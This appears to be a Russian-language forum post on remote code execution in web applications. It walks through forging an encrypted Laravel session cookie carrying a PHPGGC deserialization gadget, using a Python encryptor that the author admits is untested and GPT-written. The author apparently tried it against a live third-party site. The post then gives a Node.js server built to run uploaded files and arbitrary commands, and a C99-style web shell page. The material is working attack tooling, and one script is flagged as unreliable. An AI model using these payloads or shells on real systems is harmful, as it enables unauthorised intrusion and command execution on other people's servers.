Laravel сериализует объекты в строки и шифрует их через AES-256-CBC. На сервере происходит расшифровка и unserialize().
Порядок действий:
- Сформировать пейлод через PHPGGC.
- Зашифровать его с использованием APP_KEY, найденного в .env.
- Отправить обратно приложению — при расшифровке и unserialize() произойдёт RCE.
Затем используем шифратор (написан при помощи GPT, возможно, тут есть ошибки — не уверен, что он работает корректно):
Python:
import base64
import os
from Crypto.Cipher import AES
# Laravel APP_KEY (удали "base64:")
app_key_b64 = ''
key = base64.b64decode(app_key_b64)
# Загрузи payload
with open('payload.txt', 'rb') as f:
plaintext = f.read()
# PKCS7 padding
def pad(data):
pad_len = 16 - (len(data) % 16)
return data + bytes([pad_len]) * pad_len
# IV для AES-CBC
iv = os.urandom(16)
cipher = AES.new(key, AES.MODE_CBC, iv)
ciphertext = cipher.encrypt(pad(plaintext))
# Laravel формат: base64(iv + ciphertext)
final = base64.b64encode(iv + ciphertext).decode()
print(f"Encrypted Laravel payload:\n{final}")
Полученную строку подставляем в куку laravel_session. Хотя сервер может и не вернуть ничего в ответ — это тоже возможно. Но по логике должен. Проводил тесты с различными командами.
Возможно, вы уже обратили внимание, но команда phpggc Laravel/RCE1 system 'id' -o payload.txt вряд ли сработает, так как он рассчитан на версии Laravel 5.4.27. Маловероятно, что у случайного сайта окажется именно такая версия прям до патча.
Чтобы проверить версию Laravel, можно попробовать получить /composer.json. В моем случае сервер выдал этот файл, и в нем указано: "laravel/framework": "5.8.*"
Соответственно, стоит попробовать цепочки Laravel/RCE10, Laravel/RCE4, Laravel/RCE6. Тем не менее, я так и не увидел в ответе вывод команды id, хотя сам вектор атаки кажется очень перспективным.
Другие веб-шеллы
У каждого языка программирования, на котором может быть написан сервер, есть свои особенности, но практически любой из них может быть использован для создания веб-шелла. На PHP существует множество примеров.
У Node.js есть свои особенности: URL-адреса не отображаются напрямую на пути в файловой системе, а загруженный файл, как правило, не исполняется автоматически. Кроме того, мало кто пишет серверы на чистой Node.js — обычно используются различные фреймворки и библиотеки.
Тем не менее, предположим, что существует следующий сервер:
JavaScript:
const http = require('http');
const fs = require('fs');
const path = require('path');
const formidable = require('formidable');
const { exec } = require('child_process');
const UPLOAD_DIR = './uploads';
const PORT = 3000;
if (!fs.existsSync(UPLOAD_DIR)) {
fs.mkdirSync(UPLOAD_DIR);
}
http.createServer((req, res) => {
if (req.url === '/' && req.method === 'GET') {
res.writeHead(200, { 'Content-Type': 'text/html; charset=utf-8' });
res.end(`
<h3>Web Shell Upload</h3>
<form method="POST" action="/upload" enctype="multipart/form-data">
<input type="file" name="file" accept=".js" />
<button type="submit">Upload</button>
</form>
`);
} else if (req.url === '/upload' && req.method === 'POST') {
const form = new formidable.IncomingForm({
uploadDir: UPLOAD_DIR,
keepExtensions: true,
maxFileSize: 100 * 1024,
});
form.parse(req, (err, fields, files) => {
if (err) {
res.writeHead(500, { 'Content-Type': 'text/plain' });
return res.end('Error uploading file');
}
const file = files.file?.[0];
if (!file) {
res.writeHead(400, { 'Content-Type': 'text/plain' });
return res.end('File not uploaded');
}
const filename = path.basename(file.newFilename);
res.writeHead(200, { 'Content-Type': 'text/html' });
res.end(`File ${filename} uploaded. <a href="/shell?file=${filename}">Open Shell</a>`);
});
} else if (req.url.startsWith('/shell?')) {
const url = new URL(req.url, `http://${req.headers.host}`);
const filename = url.searchParams.get('file');
const filePath = path.join(__dirname, UPLOAD_DIR, filename);
if (!fs.existsSync(filePath)) {
res.writeHead(404, { 'Content-Type': 'text/plain' });
return res.end('File not found');
}
try {
delete require.cache[require.resolve(filePath)];
const shellScript = require(filePath);
if (typeof shellScript !== 'function') {
res.writeHead(500, { 'Content-Type': 'text/plain' });
return res.end('Script must export a function');
}
const html = shellScript();
res.writeHead(200, { 'Content-Type': 'text/html' });
res.end(html);
} catch (e) {
res.writeHead(500, { 'Content-Type': 'text/plain' });
return res.end(`Script error: ${e.message}`);
}
}
else if (req.url === '/exec' && req.method === 'POST') {
let body = '';
req.on('data', chunk => { body += chunk.toString(); });
req.on('end', () => {
const { command } = JSON.parse(body);
if (!command) {
res.writeHead(400, { 'Content-Type': 'text/plain' });
return res.end('No command specified');
}
exec(command, (error, stdout, stderr) => {
if (error) {
res.writeHead(500, { 'Content-Type': 'text/plain' });
return res.end(`Error: ${stderr}`);
}
res.writeHead(200, { 'Content-Type': 'text/plain' });
res.end(stdout || 'Command executed');
});
});
} else {
res.writeHead(404, { 'Content-Type': 'text/plain' });
res.end('404');
}
}).listen(PORT, () => {
console.log(`Server running at http://localhost:${PORT}`);
});
Файл веб-шелла будет выглядеть так:
JavaScript:
module.exports = function () {
return `
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Shell</title>
<style>
body {
font-family: monospace;
background: #1a1a1a;
color: #0f0;
padding: 2rem;
margin: 0;
}
h2 {
color: #0f0;
text-align: center;
}
.container {
max-width: 800px;
margin: auto;
}
.shell-section {
margin: 1rem 0;
padding: 1rem;
background: #222;
border: 1px solid #0f0;
border-radius: 4px;
}
input[type="text"], button {
padding: 0.5rem;
margin: 0.5rem;
background: #333;
color: #0f0;
border: 1px solid #0f0;
border-radius: 4px;
}
button {
cursor: pointer;
}
button:hover {
background: #555;
}
.output {
background: #000;
padding: 1rem;
border: 1px solid #0f0;
border-radius: 4px;
white-space: pre-wrap;
min-height: 200px;
margin-top: 1rem;
}
</style>
</head>
<body>
<div class="container">
<h2>C99-like Shell</h2>
<div class="shell-section">
<h3>Execute Command</h3>
<input type="text" id="commandInput" placeholder="Enter command (e.g., whoami)">
<button onclick="runCommand()">Execute</button>
<div id="shellOutput" class="output">Results will appear here...</div>
</div>
</div>
<script>
async function runCommand() {
const commandInput = document.getElementById('commandInput');
const output = document.getElementById('shellOutput');
const command = commandInput.value.trim();
if (!command) {
output.textContent = 'Please enter a command';
return;
}
try {
const res = await fetch('/exec', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ command })
});
const text = await res.text();
output.textContent = text;
} catch (e) {
output.textContent = 'Error: ' + e.message;
}
}
</script>
</body>
</html>
`;
};
Возможно, этот текст получился немного сумбурным и не раскрыл всех аспектов, но материалов на эту тему не так уж и много.
Трям! Пока!